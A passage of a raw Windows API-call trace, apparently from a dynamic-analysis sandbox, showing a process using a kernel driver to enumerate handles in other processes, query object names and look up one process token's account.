PsAcquireProcessExitSynchronization () returned 0x0 [0132.035] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0132.035] ObReferenceObjectByHandle (in: Handle=0xea4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003c57570, HandleInformation=0x0) returned 0x0 [0132.035] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.035] PsReleaseProcessExitSynchronization () returned 0x2 [0132.035] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0132.035] ObQueryNameString (in: Object=0xfffffa8003c57570, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.035] ObfDereferenceObject (Object=0xfffffa8003c57570) returned 0x1 [0132.035] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.035] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.035] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.035] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0132.035] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.035] PsAcquireProcessExitSynchronization () returned 0x0 [0132.035] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0132.035] ObReferenceObjectByHandle (in: Handle=0xeac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80108a95e0, HandleInformation=0x0) returned 0x0 [0132.035] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.035] PsReleaseProcessExitSynchronization () returned 0x2 [0132.035] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0132.035] ObQueryNameString (in: Object=0xfffffa80108a95e0, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.036] ObfDereferenceObject (Object=0xfffffa80108a95e0) returned 0x13 [0132.036] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.036] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.036] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.036] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0132.036] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.036] PsAcquireProcessExitSynchronization () returned 0x0 [0132.036] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0132.036] ObReferenceObjectByHandle (in: Handle=0xeb8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800f07e960, HandleInformation=0x0) returned 0x0 [0132.036] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.036] PsReleaseProcessExitSynchronization () returned 0x2 [0132.036] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0132.036] ObQueryNameString (in: Object=0xfffffa800f07e960, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.036] ObfDereferenceObject (Object=0xfffffa800f07e960) returned 0x1 [0132.036] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.036] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.036] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.036] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.036] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.036] PsAcquireProcessExitSynchronization () returned 0x0 [0132.036] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0132.036] ObReferenceObjectByHandle (in: Handle=0xebc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0017bf0f0, HandleInformation=0x0) returned 0x0 [0132.036] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.036] PsReleaseProcessExitSynchronization () returned 0x2 [0132.036] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0132.036] ObQueryNameString (in: Object=0xfffff8a0017bf0f0, ObjectNameInfo=0xfffffa800226b044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800226b044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.036] ObfDereferenceObject (Object=0xfffff8a0017bf0f0) returned 0x1 [0132.036] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.036] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.036] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.036] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0132.036] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.036] PsAcquireProcessExitSynchronization () returned 0x0 [0132.037] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0132.037] ObReferenceObjectByHandle (in: Handle=0xf30, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001be2760, HandleInformation=0x0) returned 0x0 [0132.037] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.037] PsReleaseProcessExitSynchronization () returned 0x2 [0132.037] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0132.037] ObQueryNameString (in: Object=0xfffff8a001be2760, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.037] ObfDereferenceObject (Object=0xfffff8a001be2760) returned 0x2 [0132.037] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.037] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.037] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.037] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0132.037] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.037] PsAcquireProcessExitSynchronization () returned 0x0 [0132.037] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0132.037] ObReferenceObjectByHandle (in: Handle=0x1244, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0132.037] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.037] PsReleaseProcessExitSynchronization () returned 0x2 [0132.037] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0132.037] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa8002512544, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002512544, ReturnLength=0xfffff88005000550) returned 0x0 [0132.037] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0132.037] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.037] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.037] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x3ac) returned 0x0 [0132.037] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.037] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.037] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.037] PsAcquireProcessExitSynchronization () returned 0x0 [0132.037] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff880050005d0) [0132.038] ObReferenceObjectByHandle (in: Handle=0x8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800318bc40, HandleInformation=0x0) returned 0x0 [0132.038] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.038] PsReleaseProcessExitSynchronization () returned 0x2 [0132.038] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3a [0132.038] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.038] ObfDereferenceObject (Object=0xfffffa800318bc40) returned 0x1 [0132.038] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.038] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.038] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.038] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0132.038] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.038] PsAcquireProcessExitSynchronization () returned 0x0 [0132.038] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff880050005d0) [0132.038] ObReferenceObjectByHandle (in: Handle=0x2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800318f770, HandleInformation=0x0) returned 0x0 [0132.038] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.038] PsReleaseProcessExitSynchronization () returned 0x2 [0132.038] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3a [0132.038] ObQueryNameString (in: Object=0xfffffa800318f770, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005000550) returned 0x0 [0132.038] ObfDereferenceObject (Object=0xfffffa800318f770) returned 0x11 [0132.038] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.038] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.038] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.038] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0132.038] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.038] PsAcquireProcessExitSynchronization () returned 0x0 [0132.038] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff880050005d0) [0132.038] ObReferenceObjectByHandle (in: Handle=0x74, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800318ff20, HandleInformation=0x0) returned 0x0 [0132.038] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.038] PsReleaseProcessExitSynchronization () returned 0x2 [0132.038] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3a [0132.038] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.038] ObfDereferenceObject (Object=0xfffffa800318ff20) returned 0x1 [0132.039] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.039] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.039] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.039] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0132.039] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.039] PsAcquireProcessExitSynchronization () returned 0x0 [0132.039] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff880050005d0) [0132.039] ObReferenceObjectByHandle (in: Handle=0x108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0132.039] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.039] PsReleaseProcessExitSynchronization () returned 0x2 [0132.039] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3a [0132.039] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.039] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0132.039] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.039] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.039] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.039] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0132.039] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.039] PsAcquireProcessExitSynchronization () returned 0x0 [0132.039] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff880050005d0) [0132.039] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0132.039] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.039] PsReleaseProcessExitSynchronization () returned 0x2 [0132.039] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3a [0132.039] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.039] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0132.039] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.039] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.039] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x3f8) returned 0xc0 [0132.040] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.040] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa80031ba920, HandleInformation=0x0) returned 0x0 [0132.040] ObOpenObjectByPointer (in: Object=0xfffffa80031ba920, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800009fc) returned 0x0 [0132.040] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd2 [0132.040] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009fc, DesiredAccess=0x8, TokenHandle=0xfffffa8001f38880 | out: TokenHandle=0xfffffa8001f38880*=0xc8) returned 0x0 [0132.040] ZwClose (Handle=0xffffffff800009fc) returned 0x0 [0132.040] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.040] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.040] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.041] CloseHandle (hObject=0xc8) returned 1 [0132.041] CloseHandle (hObject=0xc0) returned 1 [0132.041] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.042] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0132.042] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.042] PsAcquireProcessExitSynchronization () returned 0x0 [0132.042] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880050005d0) [0132.042] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031ad610, HandleInformation=0x0) returned 0x0 [0132.042] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.042] PsReleaseProcessExitSynchronization () returned 0x2 [0132.042] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd0 [0132.042] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.042] ObfDereferenceObject (Object=0xfffffa80031ad610) returned 0x1 [0132.042] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.042] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.042] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.042] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0132.042] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.042] PsAcquireProcessExitSynchronization () returned 0x0 [0132.042] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880050005d0) [0132.042] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031bc1f0, HandleInformation=0x0) returned 0x0 [0132.042] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.042] PsReleaseProcessExitSynchronization () returned 0x2 [0132.042] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd0 [0132.042] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.042] ObfDereferenceObject (Object=0xfffffa80031bc1f0) returned 0x1 [0132.042] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.042] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.042] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.042] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0132.042] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.042] PsAcquireProcessExitSynchronization () returned 0x0 [0132.042] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880050005d0) [0132.043] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f68f20, HandleInformation=0x0) returned 0x0 [0132.043] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.043] PsReleaseProcessExitSynchronization () returned 0x2 [0132.043] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd0 [0132.043] ObQueryNameString (in: Object=0xfffffa8002f68f20, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.043] ObfDereferenceObject (Object=0xfffffa8002f68f20) returned 0x1 [0132.043] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.043] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.043] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.043] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0132.043] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.043] PsAcquireProcessExitSynchronization () returned 0x0 [0132.043] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880050005d0) [0132.043] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, 